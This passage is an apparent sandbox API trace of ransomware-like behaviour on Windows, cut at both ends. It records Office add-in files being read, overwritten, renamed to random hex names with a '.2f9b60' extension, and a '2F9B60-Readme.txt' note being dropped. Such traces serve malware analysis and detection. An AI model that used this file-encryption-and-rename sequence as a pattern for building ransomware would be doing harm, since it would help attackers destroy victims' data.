Seed=0x2010f890) returned 0x69c00e11 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0xe438992 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x79c21065 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x4649b143 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x107f0283 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x41d1f693 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x677d5133 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x32c81ed9 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x427118e0 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x4b66a8f0 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x4fd95444 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x587de0b4 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x7614a829 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x63c149b2 [0113.271] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x4f8d98df [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x75860a64 [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x779cde40 [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x22b01edc [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x4abaaa2a [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x3e5d9e93 [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x7bdb35b2 [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x105511b [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0xe91a9be [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x15ea54be [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x4336937e [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0xaa030f0 [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x178c07d2 [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x6a9c2625 [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x47d1c54a [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x16f85f33 [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x6705ef7f [0113.272] RtlRandomEx (in: Seed=0x2010f890 | out: Seed=0x2010f890) returned 0x283d2c5 [0113.287] ReadFile (in: hFile=0x15f0, lpBuffer=0x41dcc1b0, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x2010f890, lpOverlapped=0x0 | out: lpBuffer=0x41dcc1b0*, lpNumberOfBytesRead=0x2010f890*=0x272, lpOverlapped=0x0) returned 1 [0113.287] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.287] WriteFile (in: hFile=0x15f0, lpBuffer=0x41d53cc0*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x2010f894, lpOverlapped=0x0 | out: lpBuffer=0x41d53cc0*, lpNumberOfBytesWritten=0x2010f894*=0x272, lpOverlapped=0x0) returned 1 [0113.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0113.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0113.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261dc0) returned 1 [0113.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d53cc0) returned 1 [0113.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dcc1b0) returned 1 [0113.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0113.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261dc0 [0113.290] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.290] WriteFile (in: hFile=0x15f0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2010f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2010f9b0*=0x10a, lpOverlapped=0x0) returned 1 [0113.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0113.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0113.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ea0) returned 1 [0113.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0113.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0113.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0113.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0113.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9eb70 [0113.295] sprintf (in: _Dest=0x1cd9eb70, _Format="%c%c" | out: _Dest="10") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb72, _Format="%c%c" | out: _Dest="c1") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb74, _Format="%c%c" | out: _Dest="37") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb76, _Format="%c%c" | out: _Dest="c1") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb78, _Format="%c%c" | out: _Dest="23") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb7a, _Format="%c%c" | out: _Dest="c8") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb7c, _Format="%c%c" | out: _Dest="5a") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb7e, _Format="%c%c" | out: _Dest="3c") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb80, _Format="%c%c" | out: _Dest="52") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb82, _Format="%c%c" | out: _Dest="8f") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb84, _Format="%c%c" | out: _Dest="7b") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb86, _Format="%c%c" | out: _Dest="16") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb88, _Format="%c%c" | out: _Dest="89") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb8a, _Format="%c%c" | out: _Dest="cc") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb8c, _Format="%c%c" | out: _Dest="cb") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb8e, _Format="%c%c" | out: _Dest="06") returned 2 [0113.295] sprintf (in: _Dest=0x1cd9eb90, _Format="%c%c" | out: _Dest="4b") returned 2 [0113.296] sprintf (in: _Dest=0x1cd9eb92, _Format="%c%c" | out: _Dest="60") returned 2 [0113.296] sprintf (in: _Dest=0x1cd9eb94, _Format="%c%c" | out: _Dest="7a") returned 2 [0113.296] sprintf (in: _Dest=0x1cd9eb96, _Format="%c%c" | out: _Dest="3d") returned 2 [0113.296] sprintf (in: _Dest=0x1cd9eb98, _Format="%c%c" | out: _Dest="26") returned 2 [0113.297] sprintf (in: _Dest=0x1cd9eb9a, _Format="%c%c" | out: _Dest="b5") returned 2 [0113.297] sprintf (in: _Dest=0x1cd9eb9c, _Format="%c%c" | out: _Dest="83") returned 2 [0113.297] sprintf (in: _Dest=0x1cd9eb9e, _Format="%c%c" | out: _Dest="77") returned 2 [0113.297] RtlInitAnsiString (in: DestinationString=0x2010fa28, SourceString="10c137c123c85a3c528f7b1689cccb064b607a3d26b58377" | out: DestinationString="10c137c123c85a3c528f7b1689cccb064b607a3d26b58377") [0113.297] RtlAnsiStringToUnicodeString (in: DestinationString=0x2010f9f8, SourceString="10c137c123c85a3c528f7b1689cccb064b607a3d26b58377", AllocateDestinationString=1 | out: DestinationString="10c137c123c85a3c528f7b1689cccb064b607a3d26b58377") returned 0x0 [0113.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a32d0 [0113.297] wcscat (in: _Dest=0x4205dd70, _Source="10c137c123c8" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\10c137c123c8") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\10c137c123c8" [0113.297] wcscat (in: _Dest=0x4205dd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\10c137c123c8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\10c137c123c8.2f9b60" [0113.297] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\10c137c123c8.2f9b60", NtPathName=0x2010f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\10c137c123c8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279a30 [0113.297] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x2010fa70, FileInformation=0x20279a30, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0113.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0113.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.299] NtQueryInformationFile (in: FileHandle=0x15f0, IoStatusBlock=0x2010fa38, FileInformation=0x2010fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2010fa38, FileInformation=0x2010fa48) returned 0x0 [0113.299] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x2010fa38, FileInformation=0x2010fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0113.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 [0113.301] FlushFileBuffers (hFile=0x15f0) returned 1 [0113.303] CloseHandle (hObject=0x15f0) returned 1 [0113.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205dd70 [0113.305] wcscpy (in: _Dest=0x4205dd70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0113.305] wcscat (in: _Dest=0x4205dd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" [0113.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\2f9b60-readme.txt")) returned 0xffffffff [0113.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15f0 [0113.306] WriteFile (in: hFile=0x15f0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2010f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2010f8f0*=0xba9, lpOverlapped=0x0) returned 1 [0113.308] CloseHandle (hObject=0x15f0) returned 1 [0113.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0113.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5850) returned 1 Thread: id = 1153 os_tid = 0xc2c [0113.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf")) returned 0x20 [0113.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF", dwFileAttributes=0x20) returned 1 [0113.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX2.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex2.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15f0 [0113.313] GetFileSizeEx (in: hFile=0x15f0, lpFileSize=0x298df740 | out: lpFileSize=0x298df740*=850) returned 1 [0113.313] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x34e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.313] ReadFile (in: hFile=0x15f0, lpBuffer=0x298df6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x298df708, lpOverlapped=0x0 | out: lpBuffer=0x298df6c0*, lpNumberOfBytesRead=0x298df708*=0x4, lpOverlapped=0x0) returned 1 [0113.317] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0113.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f50 [0113.317] NtQuerySystemTime (in: CurrentTime=0x298df600 | out: CurrentTime=0x298df600*=132462177187702000) returned 0x0 [0113.317] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0xc7a07e [0113.317] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x2037e4f3 [0113.317] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x199cc504 [0113.317] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x6da04bdd [0113.317] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0xe36f6bb [0113.317] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x4faa39bb [0113.317] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x64d87bbe [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x663913c1 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x18b5db59 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x15e72c5 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x7670f100 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x2e84f822 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x32a32432 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x3acbff1 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x1bd0386f [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x7f40537d [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x627256c9 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0xf9c1d59 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x3ee008c5 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x789df2c0 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x6f06eaf2 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x3fdc3b63 [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x17bfd0ff [0113.318] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x3c11e6a9 [0113.319] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x34a41806 [0113.319] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x25ee1138 [0113.319] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x143f61e1 [0113.319] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x73d1afc9 [0113.319] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x7d9048cb [0113.319] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x430d5af7 [0113.319] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x5b93c577 [0113.319] RtlRandomEx (in: Seed=0x298df5f0 | out: Seed=0x298df5f0) returned 0x220afeab [0113.333] ReadFile (in: hFile=0x15f0, lpBuffer=0x41dcc1b0, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x298df5f0, lpOverlapped=0x0 | out: lpBuffer=0x41dcc1b0*, lpNumberOfBytesRead=0x298df5f0*=0x352, lpOverlapped=0x0) returned 1 [0113.333] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.334] WriteFile (in: hFile=0x15f0, lpBuffer=0x41d53cc0*, nNumberOfBytesToWrite=0x352, lpNumberOfBytesWritten=0x298df5f4, lpOverlapped=0x0 | out: lpBuffer=0x41d53cc0*, lpNumberOfBytesWritten=0x298df5f4*=0x352, lpOverlapped=0x0) returned 1 [0113.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0113.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f50 [0113.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263f50) returned 1 [0113.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d53cc0) returned 1 [0113.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dcc1b0) returned 1 [0113.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0113.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20263f50 [0113.340] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.340] WriteFile (in: hFile=0x15f0, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x298df710, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x298df710*=0x106, lpOverlapped=0x0) returned 1 [0113.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0113.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0113.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ea0) returned 1 [0113.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0113.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0113.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0113.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0113.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9eb70 [0113.347] sprintf (in: _Dest=0x1cd9eb70, _Format="%c%c" | out: _Dest="8d") returned 2 [0113.347] sprintf (in: _Dest=0x1cd9eb72, _Format="%c%c" | out: _Dest="ec") returned 2 [0113.347] sprintf (in: _Dest=0x1cd9eb74, _Format="%c%c" | out: _Dest="2b") returned 2 [0113.347] sprintf (in: _Dest=0x1cd9eb76, _Format="%c%c" | out: _Dest="6c") returned 2 [0113.347] sprintf (in: _Dest=0x1cd9eb78, _Format="%c%c" | out: _Dest="23") returned 2 [0113.347] sprintf (in: _Dest=0x1cd9eb7a, _Format="%c%c" | out: _Dest="2b") returned 2 [0113.347] sprintf (in: _Dest=0x1cd9eb7c, _Format="%c%c" | out: _Dest="0b") returned 2 [0113.347] sprintf (in: _Dest=0x1cd9eb7e, _Format="%c%c" | out: _Dest="6d") returned 2 [0113.347] sprintf (in: _Dest=0x1cd9eb80, _Format="%c%c" | out: _Dest="ec") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb82, _Format="%c%c" | out: _Dest="c3") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb84, _Format="%c%c" | out: _Dest="4f") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb86, _Format="%c%c" | out: _Dest="88") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb88, _Format="%c%c" | out: _Dest="22") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb8a, _Format="%c%c" | out: _Dest="28") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb8c, _Format="%c%c" | out: _Dest="58") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb8e, _Format="%c%c" | out: _Dest="4b") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb90, _Format="%c%c" | out: _Dest="71") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb92, _Format="%c%c" | out: _Dest="fa") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb94, _Format="%c%c" | out: _Dest="31") returned 2 [0113.348] sprintf (in: _Dest=0x1cd9eb96, _Format="%c%c" | out: _Dest="29") returned 2 [0113.348] RtlInitAnsiString (in: DestinationString=0x298df788, SourceString="8dec2b6c232b0b6decc34f882228584b71fa3129" | out: DestinationString="8dec2b6c232b0b6decc34f882228584b71fa3129") [0113.348] RtlAnsiStringToUnicodeString (in: DestinationString=0x298df758, SourceString="8dec2b6c232b0b6decc34f882228584b71fa3129", AllocateDestinationString=1 | out: DestinationString="8dec2b6c232b0b6decc34f882228584b71fa3129") returned 0x0 [0113.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c310 [0113.349] wcscat (in: _Dest=0x202a5850, _Source="8dec2b6c23" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\8dec2b6c23") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\8dec2b6c23" [0113.349] wcscat (in: _Dest=0x202a5850, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\8dec2b6c23.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\8dec2b6c23.2f9b60" [0113.349] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\8dec2b6c23.2f9b60", NtPathName=0x298df730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\8dec2b6c23.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65ce0 [0113.349] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x298df7d0, FileInformation=0x1cd65ce0, Length=0xa6, FileInformationClass=0xa) returned 0x0 [0113.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ce0) returned 1 [0113.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.350] NtQueryInformationFile (in: FileHandle=0x15f0, IoStatusBlock=0x298df798, FileInformation=0x298df7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x298df798, FileInformation=0x298df7a8) returned 0x0 [0113.350] NtSetInformationFile (FileHandle=0x15f0, IoStatusBlock=0x298df798, FileInformation=0x298df7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5850) returned 1 [0113.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c310) returned 1 [0113.353] FlushFileBuffers (hFile=0x15f0) returned 1 [0113.367] CloseHandle (hObject=0x15f0) returned 1 [0113.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205dd70 [0113.369] wcscpy (in: _Dest=0x4205dd70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0113.369] wcscat (in: _Dest=0x4205dd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" [0113.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\2f9b60-readme.txt")) returned 0x20 [0113.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0113.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a57c0) returned 1 Thread: id = 1154 os_tid = 0xc28 [0113.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 0x20 [0113.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF", dwFileAttributes=0x20) returned 1 [0113.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xee0 [0113.342] GetFileSizeEx (in: hFile=0xee0, lpFileSize=0x3680f9c0 | out: lpFileSize=0x3680f9c0*=1926) returned 1 